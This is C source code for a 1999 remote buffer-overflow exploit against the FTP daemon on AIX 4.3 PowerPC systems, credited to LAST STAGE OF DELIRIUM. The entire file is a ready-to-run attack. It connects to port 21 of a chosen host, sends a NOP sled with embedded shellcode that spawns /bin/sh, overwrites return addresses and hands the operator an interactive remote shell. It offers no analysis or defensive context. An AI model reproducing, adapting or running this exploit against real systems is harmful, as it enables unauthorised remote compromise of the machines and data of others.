/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland        *://lsd-pl.net/ #*/
/*## ftpd                                                                    #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of some OS fingerprinting method               */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define ADRNUM 1200
#define NOPNUM 440
#define ALLIGN 1

char shellcode[]=
    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)           */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca                           */
    "/bin/sh\xff"
;

char nop[]="\x7c\x84\x23\x78";

main(int argc,char **argv){
    char buffer[10000],address[4],*b;
    int sck,i;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland  //lsd-pl.net/\n");
    printf("ftpd for aix 4.3 4.3.x PowerPC/POWER\n\n");

    if(argc!=3){
        printf("usage: %s address 43|433\n",argv[0]);exit(-1);
    }

    switch(atoi(argv[2])){
    case  43: shellcode[55]=0x04; break;
    case 433: shellcode[55]=0x03; break;
    default: exit(-1);
    }

    *((unsigned long*)address)=htonl(0x2ff1af28);

    sck=socket(AF_INET,SOCK_STREAM,0);
    adr.sin_family=AF_INET;
    adr.sin_port=htons(21);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
        perror("error");exit(-1);
    }

    b=buffer;
    sprintf(b,"PL ");b+=3;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++){
        *b++=shellcode[i];
        if(*(b-1)==(char)0xff) *b++=shellcode[i];
    }
    *b++='\n';

    write(sck,buffer,b-buffer);
    b--;
    sleep(1);

    for(i=0;i<ALLIGN;i++) *b++=' ';
    for(i=0;i<ADRNUM;i++) *b++=address[i%4];
    *b++='\n';
    write(sck,buffer,b-buffer);

    write(sck,"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}


